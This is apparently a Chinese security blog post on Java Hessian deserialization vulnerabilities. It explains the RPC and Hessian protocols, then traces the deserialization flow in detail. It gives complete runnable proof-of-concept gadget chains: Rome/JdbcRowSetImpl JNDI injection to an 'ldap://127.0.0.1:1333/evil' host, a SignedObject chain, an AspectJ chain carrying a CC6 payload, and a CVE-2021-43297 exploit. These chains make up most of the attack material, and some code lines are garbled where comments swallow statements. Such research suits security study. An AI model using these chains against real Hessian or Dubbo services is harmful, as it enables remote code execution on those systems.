前言
被我忘掉的 Hessian 反序列化 —— C1oudfL0w0 版(
参考:
https://blog.potatowo.top/2024/11/12/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHessian/
https://zhuanlan.zhihu.com/p/621596752
https://github.com/oldersheep/simple-hessian-rpc
https://su18.org/post/hessian/
https://goodapple.top/archives/1193
https://infernity.top/2025/03/03/Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
RPC 协议
此事在计算机操作系统中亦有记载
RPC 全称为 Remote Procedure Call(远程过程调用),它允许一个计算机程序在另一台计算机上执行代码
类似于之前的 RMI,都是远程调用服务,它们的不同之处就是 RPC 通过标准的二进制格式来定义请求的信息,这样跨平台和系统更加方便
实现:
- 定义接口。客户端和服务端需要共同定义一套接口,描述函数的输入参数和返回值。
- 生成代理代码。客户端需要生成一个代理,它可以将函数调用转换成网络消息,并将结果返回给客户端。
- 序列化和反序列化。客户端和服务端之间需要将数据序列化成网络字节流,以便进行传输。收到数据后,需要将其反序列化成可读的数据格式。
- 网络传输。客户端和服务端之间需要进行网络传输,以便进行数据交换。
- 调用远程函数。客户端通过代理调用服务端的函数,服务端执行该函数并返回结果。
- 返回结果。服务端将执行结果序列化后发送给客户端,客户端将其反序列化成可读的数据格式。
相应的通信过程:
- 客户端发起请求,并按照RPC协议格式填充信息
- 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
- 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
- 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回
Hessian 协议
Hessian 是一个基于 RPC 的高性能二进制远程传输协议,官方对 Java、Python、C++ 等语言都进行了实现,Hessian 一般在 Web 服务中使用。如阿里著名的微服务框架 Dubbo 默认就曾使用 Hessian2 进行序列化
在 Java 里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
类似于 RMI 的形式,Hessian 需要服务端和消费端通过接口相关联,服务端实现接口,当然数据在网络传输之后要进行还原就需要序列号
序列化/反序列化
public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return hessian2Input.readObject();
}
分析
普通类的反序列化
创建一个普通对象跟踪分析一下,注意这里 Person 没有实现 Serializable 接口
package com.example;
public class Person {
public String name;
public transient int age; //这里的age用transient修饰符
private float weight;
public Person(String name,int age,float weight){
this.name = name;
this.age = age;
this.weight = weight;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public float getWeight() {
return weight;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", weight=" + weight +
'}';
}
}
序列化后再反序列化
String s = ser(new Person("0w0",21,70));
Person person = (Person) unser(s);
System.out.println(person);
直接报错

跟到报错的源码内部看看

此处有一个 _isAllowNonSerializable 检测

可以在序列化的时候调用 hessian2Output.getSerializerFactory().setAllowNonSerializable(true); 来设置为 true

可以看到只有我们设置的 transient 属性不会被反序列化,那么证明这个 Serializable 接口实现的限制只存在于序列化,并不存在于反序列化,Hessian 的反序列化理论上支持反序列化任何对象
调试一下,直接从 hessian2Input.readObject() 这里开始

这里的 buffer 是待反序列化字节流,然后取标识位,用于判断是什么类型的对象
此处取我们自定义的 Person 类,tag 是 C

进入 readObjectDefinition(),然后在经过 readString() 后发现 type 被赋为 Person 的类名

最终反序列化为 Person 对象的地方在 unsafe 这里而不是原生的 readObject 或者 getter/setter


此处的 readObject 是用来对 Person 对象赋值
关于 _unsafe.allocateInstance(_type),是底层的 sun.misc.Unsafe 方法,它的作用是直接在内存中分配一块空间给这个对象,但不会调用该类的任何构造方法(Constructor)
这意味着在对象实例化的这一步,没有任何代码会被执行,攻击者无法在这里触发漏洞
漏洞点
从上面看我们无法直接创建类对象来实现攻击
不过在 tag 处我们还有其它的路径可以选择,实际上,漏洞点位于 Hessian 对于 Map 的反序列化过程中,会将反序列化过后的键值对 put 进 map 中
hashCode
创建一个 HashMap 对象进行调试
HashMap hashMap = new HashMap();
hashMap.put(new Object(),null);
String hashMapStr = ser(hashMap);
unser(hashMapStr);
这里直接进入 H 分支

进入 readMap 看看

继续跟进

此处判断 type 如果为空,那么默认是给 map 赋值一个 HashMap,如果是 Map 类型的,则当做 HashMap 来反序列化,如果是 SortedMap 类型的则当做 TreeMap 来进行反序列化

然后就开始将键值对分别反序列化后 map.put 存入 map
然后此事在 URLDNS 链中亦有记载,当对 hashMap 调用 put() 方法的时候,为了检测 key 值唯一性,会先调用 hash(key),进而调用 key.hashCode(),因此我们就可以在 hashMap 的 key 处做文章,构造利用链,hashCode() 为入口点
compareTo / compare
另一个分支,如果我们使用 treeMap 而不是 hashMap
TreeMap<Object,Object> treeMap = new TreeMap<>();
treeMap.put(new Comparable() {
@Override
public int compareTo(Object o) {
return 0;
}
}, null);
String treeMapStr = ser(treeMap);
unser(treeMapStr);

进入 M 分支,然后进入 MapDeserializer 的 readMap()

然后和上面 hashMap 的类似

Rome 链改
上一个我提到 urldns 的链子是 rome,实际上 hessian 的链子也没什么差别,调用栈如下:
JdbcRowSetImpl.getDatabaseMetaData()
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
这下看懂了
package com.example;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
public class hashCodeChain {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1333/evil";
jdbcRowSet.setDataSourceName(url);
Vector<String> strMatchColumns = new Vector<>();
strMatchColumns.add("username");
Utils.SetValue(jdbcRowSet,"strMatchColumns" ,strMatchColumns);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "0w0");
String barr = ser(hashMap);
System.out.println(barr);
unser(barr);
}
public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}
}
唯一一点不一样的地方是这里没法使用 TemplatesImpl,原因是 _tfactory 属性是 transient 的,在原生反序列化中通过重写 readObject() 来给其赋值,但是在 hessian 中对于 transient 的属性是没办法反序列化的,并且只能在 readResolve() 中可能还原
二次反序列化
SignedObject 链
同样的,既然和 ROME 有相似之处,那么也适用于二次反序列化里的 SignedObject
当然,由于二次反序列化的终点是在 SignedObject 的 readObject,所以我们可以直接使用 templates 字节码打
package com.example;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class SignedObjectChain {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean1 = new ToStringBean(Templates.class, tpl);
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
HashMap hashMap1 = new HashMap();
hashMap1.put(equalsBean1,"0w0");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
HashMap hashMap2 = new HashMap();
hashMap2.put(equalsBean2,"0w0");
String barr = ser(hashMap2);
System.out.println(barr);
unser(barr);
}
public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}
}
Aspectj 链
仅限 hessian 可用的一条链子
https://mp.weixin.qq.com/s/1TffuOuZzPT_dBPrwAgB6Q
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.7</version>
</dependency>
利用链,在 CVE-2021-43297 中找到的 toString 入口直接拼上去
Hessian2Input.readObject
Hessian2Input.readObjectDefinition
Hessian2Input.readString
Hessian2Input.expect
LazyMethodGen.toString
LazyMethodGen.toLongString
LazyMethodGen.print
LazyMethodGen.printAspectAttributes
Utility.readAjAttributes
AjAttribute.read
ResolvedTypeMunger.read
NewMethodTypeMunger.readMethod
ResolvedTypeMunger.readSourceLocation // 调用 readObject
poc:
package com.example;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import org.aspectj.apache.bcel.classfile.*;
import org.aspectj.apache.bcel.util.ClassLoaderRepository;
import org.aspectj.weaver.ReferenceType;
import org.aspectj.weaver.bcel.BcelObjectType;
import org.aspectj.weaver.bcel.BcelWorld;
import org.aspectj.weaver.bcel.LazyClassGen;
import org.aspectj.weaver.bcel.LazyMethodGen;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
public class AspectjChain {
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true); // 此链上的类未实现 serializable hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static void main(String[] args) throws Exception {
// 1. Create BcelWorld
BcelWorld world = new BcelWorld();
// 2. Create JavaClass using ClassLoaderRepository
ClassLoaderRepository repo = new ClassLoaderRepository(String.class.getClassLoader());
JavaClass javaClass = repo.loadClass("java.lang.Object");
// 3. Create ReferenceType
// Signature for java.lang.Object is Ljava/lang/Object; ReferenceType referenceType = new ReferenceType("Ljava/lang/Object;", world);
// 4. Create BcelObjectType via reflection (package-private constructor)
// Constructor: BcelObjectType(ReferenceType, JavaClass, boolean, boolean) Class<?> botClass = Class.forName("org.aspectj.weaver.bcel.BcelObjectType");
Constructor<?> constructor = botClass.getDeclaredConstructor(
ReferenceType.class,
JavaClass.class,
boolean.class,
boolean.class
);
constructor.setAccessible(true);
BcelObjectType bcelObjectType = (BcelObjectType) constructor.newInstance(referenceType, javaClass, false, false);
// Modification: Force WeaverVersionInfo major_version >= 2 via reflection
java.lang.reflect.Method getWeaverVersionAttribute = botClass.getDeclaredMethod("getWeaverVersionAttribute");
getWeaverVersionAttribute.setAccessible(true);
Object wvInfo = getWeaverVersionAttribute.invoke(bcelObjectType);
if (wvInfo != null) {
Field majorVersionField = wvInfo.getClass().getDeclaredField("major_version");
majorVersionField.setAccessible(true);
majorVersionField.setShort(wvInfo, (short) 2);
System.out.println("Forced WeaverVersionInfo major_version to: " + majorVersionField.getShort(wvInfo));
}
// 5. Create LazyClassGen using BcelObjectType
LazyClassGen lazyClassGen = new LazyClassGen(bcelObjectType);
// 6. Create first LazyMethodGen (lmg1)
// We need a Method object. Get the first method from JavaClass. Method[] methods = javaClass.getMethods();
Method method = methods[0];
LazyMethodGen lazyMethodGen = new LazyMethodGen(method, lazyClassGen);
// Force initialization of LazyMethodGen before setting attributes via reflection.
// LazyMethodGen uses lazy initialization. The initialize() method overwrites the 'attributes' field. // If we set 'attributes' before initialization, our value will be overwritten when initialize() is triggered later. lazyMethodGen.getAnnotations();
Class<? extends LazyMethodGen> lazyMethodGenClass = lazyMethodGen.getClass();
Field attributesField = lazyMethodGenClass.getDeclaredField("attributes");
attributesField.setAccessible(true);
List<Attribute> attributes = new ArrayList<>();
// Create a new ConstantPool with the required string
ConstantPool cp = javaClass.getConstantPool();
Constant[] constants = new Constant[cp.getLength() + 1];
for (int i = 0; i < cp.getLength(); i++) {
constants[i] = cp.getConstant(i);
}
constants[cp.getLength()] = new ConstantUtf8("org.aspectj.weaver.TypeMunger");
ConstantPool newCp = new ConstantPool(constants);
// Construct prefix bytes
byte[] memberBytes = new byte[]{
2, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 0, 0, 0, 1, 0, 10, 116, 101, 115, 116, 77, 101, 116, 104, 111, 100, 0, 3, 40, 41, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0
};
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(Gadget_CC6.getPayload());
oos.close();
byte[] objectBytes = baos.toByteArray();
byte[] bytes = new byte[memberBytes.length + objectBytes.length];
System.arraycopy(memberBytes, 0, bytes, 0, memberBytes.length);
System.arraycopy(objectBytes, 0, bytes, memberBytes.length, objectBytes.length);
Unknown unknown = new Unknown(cp.getLength(), bytes.length, bytes, newCp);
attributes.add(unknown);
attributesField.set(lazyMethodGen, attributes);
byte[] data = Hessian2_Serial(lazyMethodGen);
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);
System.out.println(Base64.getEncoder().encodeToString(poc));
Hessian2_Deserial(poc);
}
}
Resin 链
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>
CVE-2021-43297
一些要注意的点:
- Input 序列化流的 offset 在这个过程中自减1
- offset 自减 1 后,调用 readObject() 进行反序列化
- 将 obj 和字符串进行拼接,将调用 obj 的 toString() 方法
补丁: https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd

修复了个 obj 字符串拼接,明显是和 toString 有关,那么就是在使用 Hessian2 进行反序列化时抛出异常,则会进行字符串拼接操作,进而调用 obj 的 toString() 方法,然后有了 toString() 之后就可以接上 ToStringBean 后半段了
这里取 Hessian2Input.except 进行利用

所以我们需要构造一段畸形的恶意序列化流,从而抛出异常触发拼接
直接查找调用

以 readString 为例,如果 tag 在 switch 语句中失配,就会进入 default 分支的 except 方法
public String readString()
throws IOException
{
int tag = read();
switch (tag) {
case 'N':
return null;
case 'T':
return "true";
......
default:
throw expect("string", tag);
}
}
上面跟踪反序列化流程时,提到过在 readObjectDefinition() 中获取类类型的时候第一步就调用了 readString() 方法来获取对象的 type
而进入 readObjectDefinition 需要第一个字节为 C,ascii 为 67

之前 hashMap 走的是 H 分支,ascii 为 72;而 treeMap 走的是 M 分支;所以这部分的字节流是我们可控的
结合上面的 readString 观察一下处理过程:
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
public final int read()
throws IOException
{
if (_length <= _offset && ! readBuffer())
return -1;
return _buffer[_offset++] & 0xff;
}
protected IOException expect(String expect, int ch)
throws IOException
{
if (ch < 0)
return error("expected " + expect + " at end of file");
else {
_offset--;
try {
int offset = _offset;
String context
= buildDebugContext(_buffer, 0, _length, offset);
Object obj = readObject();
if (obj != null) {
return error("expected " + expect
+ " at 0x" + Integer.toHexString(ch & 0xff)
+ " " + obj.getClass().getName() + " (" + obj + ")"
+ "\n " + context + "");
}
else
return error("expected " + expect
+ " at 0x" + Integer.toHexString(ch & 0xff) + " null");
} catch (Exception e) {
log.log(Level.FINE, e.toString(), e);
return error("expected " + expect
+ " at 0x" + Integer.toHexString(ch & 0xff));
}
}
}
总的流程如下:
- 以 hashMap 恶意对象为例
- 进入 readObject,先读取一次 tag,
_offset+ 1 - 为了进入
readObjectDefinition,tag 要为 67 - 接下来进入
readString,调用一次read(),_offset+1,由于 hashMap 不属于readString判断的任何基本类型,所以走到 default 的expect(),于是_offset-1 - 接下来获取上下文,此时这个偏移开始的字节流对应的是 hashMap 的序列化数据,然后进行一次
readObject,此时会触发一次反序列化恶意 poc - 再走到下面的 obj 和字符串拼接,调用 obj 的
toString(),此时又会触发一次反序列化恶意 poc
因为 hashMap#toString 会调用父类的 AbstractMap#toString,再调用其中的 append(),最终抵达 hashCode(),然后又看懂了
所以要实现 tag 为 67 的同时是 hashMap 对象,只需要给序列化得到的 bytes 数组前加一个 67
最终的利用链:
Hessian2Input.readObject
Hessian2Input.readObjectDefinition
Hessian2Input.readString
Hessian2Input.expect
ToStringBean.toString()
ToStringBean.toString(String)
Method.invoke(Object, Object...)
JdbcRowSetImpl.getDatabaseMetaData()
poc:
package com.example;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
public class expectChain {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1333/evil";
jdbcRowSet.setDataSourceName(url);
Vector<String> strMatchColumns = new Vector<>();
strMatchColumns.add("username");
Utils.SetValue(jdbcRowSet,"strMatchColumns" ,strMatchColumns);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); // 只留下toString利用点
byte[] payload = ser_byte(toStringBean);
byte[] re_payload = new byte[payload.length + 1];
System.arraycopy(new byte[]{67}, 0, re_payload, 0, 1); // 第一个byte为67
System.arraycopy(payload, 0, re_payload, 1, payload.length); // 后面的内容是正常payload
unser(re_payload);
}
public static byte[] ser_byte(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}
}